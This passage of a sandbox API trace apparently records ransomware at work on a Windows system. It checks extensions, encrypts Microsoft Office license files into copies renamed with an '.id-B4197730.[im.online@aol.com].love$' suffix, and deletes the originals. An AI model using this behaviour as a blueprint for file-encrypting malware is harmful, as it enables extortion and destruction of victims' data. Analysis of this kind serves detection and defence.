Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.827] lstrlenW (lpString=".zip") returned 4 [0280.827] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString=".rar") returned 4 [0280.827] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString=".bz2") returned 4 [0280.827] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.827] lstrlenW (lpString=".7z") returned 3 [0280.827] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.827] lstrlenW (lpString=".dbf") returned 4 [0280.828] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.828] lstrlenW (lpString=".1cd") returned 4 [0280.828] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.828] lstrlenW (lpString=".jpg") returned 4 [0280.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.828] lstrlenW (lpString=".doc") returned 4 [0280.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString=".docx") returned 5 [0280.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.828] lstrlenW (lpString=".pdf") returned 4 [0280.828] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString=".xls") returned 4 [0280.828] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString=".xlsx") returned 5 [0280.828] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.828] lstrlenW (lpString=".ppt") returned 4 [0280.828] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.828] lstrlenW (lpString=".zip") returned 4 [0280.828] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.828] lstrlenW (lpString=".rar") returned 4 [0280.828] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.829] lstrlenW (lpString=".bz2") returned 4 [0280.829] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.829] lstrlenW (lpString=".7z") returned 3 [0280.829] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.829] lstrlenW (lpString=".dbf") returned 4 [0280.829] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.829] lstrlenW (lpString=".1cd") returned 4 [0280.829] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0280.829] lstrlenW (lpString=".jpg") returned 4 [0280.829] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.830] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.830] lstrlenW (lpString="O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 37 [0280.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.831] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11635) returned 1 [0280.831] CloseHandle (hObject=0x418) returned 1 [0280.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0280.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.832] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.832] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0280.834] GetLastError () returned 0x0 [0280.834] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0280.881] WriteFile (in: hFile=0x484, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0280.883] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.883] WriteFile (in: hFile=0x484, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11e, lpOverlapped=0x0) returned 1 [0280.883] SetEndOfFile (hFile=0x484) returned 1 [0280.883] CloseHandle (hObject=0x484) returned 1 [0280.884] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.884] SetEndOfFile (hFile=0x418) returned 1 [0280.887] CloseHandle (hObject=0x418) returned 1 [0280.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 1 [0280.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.890] lstrlenW (lpString=".doc") returned 4 [0280.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString=".docx") returned 5 [0280.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.890] lstrlenW (lpString=".pdf") returned 4 [0280.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString=".xls") returned 4 [0280.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString=".xlsx") returned 5 [0280.890] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.890] lstrlenW (lpString=".ppt") returned 4 [0280.890] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.890] lstrlenW (lpString=".zip") returned 4 [0280.890] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString=".rar") returned 4 [0280.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString=".bz2") returned 4 [0280.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString=".7z") returned 3 [0280.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.890] lstrlenW (lpString=".dbf") returned 4 [0280.890] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.891] lstrlenW (lpString=".1cd") returned 4 [0280.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.891] lstrlenW (lpString=".jpg") returned 4 [0280.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.891] lstrlenW (lpString=".doc") returned 4 [0280.891] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.891] lstrlenW (lpString=".docx") returned 5 [0280.891] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.891] lstrlenW (lpString=".pdf") returned 4 [0280.891] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.891] lstrlenW (lpString=".xls") returned 4 [0280.891] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.891] lstrlenW (lpString=".xlsx") returned 5 [0280.891] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.891] lstrlenW (lpString=".ppt") returned 4 [0280.891] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0280.891] lstrlenW (lpString=".zip") returned 4 [0281.071] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.071] lstrlenW (lpString=".rar") returned 4 [0281.071] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.071] lstrlenW (lpString=".bz2") returned 4 [0281.071] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.071] lstrlenW (lpString=".7z") returned 3 [0281.071] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0281.071] lstrlenW (lpString=".dbf") returned 4 [0281.071] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0281.071] lstrlenW (lpString=".1cd") returned 4 [0281.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0281.072] lstrlenW (lpString=".jpg") returned 4 [0281.072] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.072] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0281.072] lstrlenW (lpString="O365ProPlusR_Subscription1-ppd.xrm-ms") returned 37 [0281.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0281.073] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=28261) returned 1 [0281.073] CloseHandle (hObject=0x4e4) returned 1 [0281.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220 [0281.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0281.074] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.074] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0281.076] GetLastError () returned 0x0 [0281.076] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0281.207] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0281.208] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.208] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11e, lpOverlapped=0x0) returned 1 [0281.209] SetEndOfFile (hFile=0x4c8) returned 1 [0281.222] CloseHandle (hObject=0x4c8) returned 1 [0281.230] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.230] SetEndOfFile (hFile=0x4e4) returned 1 [0281.357] CloseHandle (hObject=0x4e4) returned 1 [0281.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 1 [0282.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.097] lstrlenW (lpString=".doc") returned 4 [0282.097] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.097] lstrlenW (lpString=".docx") returned 5 [0282.097] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.097] lstrlenW (lpString=".pdf") returned 4 [0282.097] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.097] lstrlenW (lpString=".xls") returned 4 [0282.098] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString=".xlsx") returned 5 [0282.098] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.098] lstrlenW (lpString=".ppt") returned 4 [0282.098] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.098] lstrlenW (lpString=".zip") returned 4 [0282.098] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString=".rar") returned 4 [0282.098] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString=".bz2") returned 4 [0282.098] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString=".7z") returned 3 [0282.098] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.098] lstrlenW (lpString=".dbf") returned 4 [0282.098] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.098] lstrlenW (lpString=".1cd") returned 4 [0282.098] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.098] lstrlenW (lpString=".jpg") returned 4 [0282.098] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.098] lstrlenW (lpString=".doc") returned 4 [0282.098] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0282.098] lstrlenW (lpString=".docx") returned 5 [0282.098] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0282.098] lstrlenW (lpString=".pdf") returned 4 [0282.099] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString=".xls") returned 4 [0282.099] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString=".xlsx") returned 5 [0282.099] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0282.099] lstrlenW (lpString=".ppt") returned 4 [0282.099] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.099] lstrlenW (lpString=".zip") returned 4 [0282.099] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString=".rar") returned 4 [0282.099] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString=".bz2") returned 4 [0282.099] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString=".7z") returned 3 [0282.099] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0282.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.099] lstrlenW (lpString=".dbf") returned 4 [0282.099] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.099] lstrlenW (lpString=".1cd") returned 4 [0282.099] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0282.099] lstrlenW (lpString=".jpg") returned 4 [0282.099] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0282.099] lstrlenW (lpString=".id-") returned 4 [0282.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c52c8 | out: hHeap=0x670000) returned 1 [0282.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c210 | out: hHeap=0x670000) returned 1 [0282.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3291e20 | out: hHeap=0x670000) returned 1 [0282.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x32a1e28 | out: hHeap=0x670000) returned 1 [0282.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3ca2020 | out: hHeap=0x670000) returned 1 [0282.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5130 | out: hHeap=0x670000) returned 1 [0282.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b78 [0282.105] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b78, Size=0x20) returned 0x41aadd0 [0282.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b78 [0282.105] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b78, Size=0x20) returned 0x41aad30 [0282.105] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.105] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.105] Wow64DisableWow64FsRedirection (in: OldValue=0x346ff50 | out: OldValue=0x346ff50*=0x1) returned 1 [0282.105] lstrlenW (lpString="kernel32.dll") returned 12 [0282.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aad30 | out: hHeap=0x670000) returned 1 [0282.105] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aadd0 | out: hHeap=0x670000) returned 1 Thread: id = 49 os_tid = 0xe0c [0222.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x32b1e30 [0222.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x32c1e38 [0222.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5148 [0222.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c220 [0222.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c52e0 [0222.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x3db8020 [0222.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5160 [0222.725] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5160, Size=0x20) returned 0x6ad6d8 [0222.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5160 [0222.725] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5160, Size=0x20) returned 0x6ad598 [0222.725] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.725] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.726] Wow64DisableWow64FsRedirection (in: OldValue=0x35aff50 | out: OldValue=0x35aff50*=0x0) returned 1 [0222.726] lstrlenW (lpString="kernel32.dll") returned 12 [0222.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0222.726] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0222.726] Sleep (dwMilliseconds=0x64) [0223.072] lstrcmpiW (lpString1=".MARKER", lpString2=".love$") returned 1 [0223.072] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0223.072] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0223.076] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=0) returned 1 [0223.076] CloseHandle (hObject=0x348) returned 1 [0223.076] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.076] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0223.076] lstrlenW (lpString=".doc") returned 4 [0223.076] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0223.076] lstrlenW (lpString=".docx") returned 5 [0223.076] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0223.076] lstrlenW (lpString=".pdf") returned 4 [0223.076] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0223.076] lstrlenW 